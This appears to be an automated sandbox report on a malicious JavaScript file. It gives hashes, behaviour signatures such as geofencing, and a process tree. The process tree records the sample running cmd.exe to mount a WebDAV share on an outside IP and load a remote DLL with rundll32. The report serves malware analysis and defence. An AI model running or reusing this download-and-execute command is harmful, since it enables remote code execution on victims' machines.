Analysis

  • max time kernel
    93s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2024, 01:00

General

  • Target
    d8ae924bbbec123455e3b73fd91b9153e4ba972b44513b5ed4e77229d6651134.js
  • Size 1.1MB
  • Sample241114-bcvvfasdpq
  • SHA256 d8ae924bbbec123455e3b73fd91b9153e4ba972b44513b5ed4e77229d6651134
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\d8ae924bbbec123455e3b73fd91b9153e4ba972b44513b5ed4e77229d6651134.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.86@8888\davwwwroot\ & rundll32 \\94.159.113.86@8888\davwwwroot\14567689528060.dll,Entry
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:412
      • C:\Windows\system32\net.exe
        net use \\94.159.113.86@8888\davwwwroot\
        3⤵
          PID:4288
        • C:\Windows\system32\rundll32.exe
          rundll32 \\94.159.113.86@8888\davwwwroot\14567689528060.dll,Entry
          3⤵
            PID:5072

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads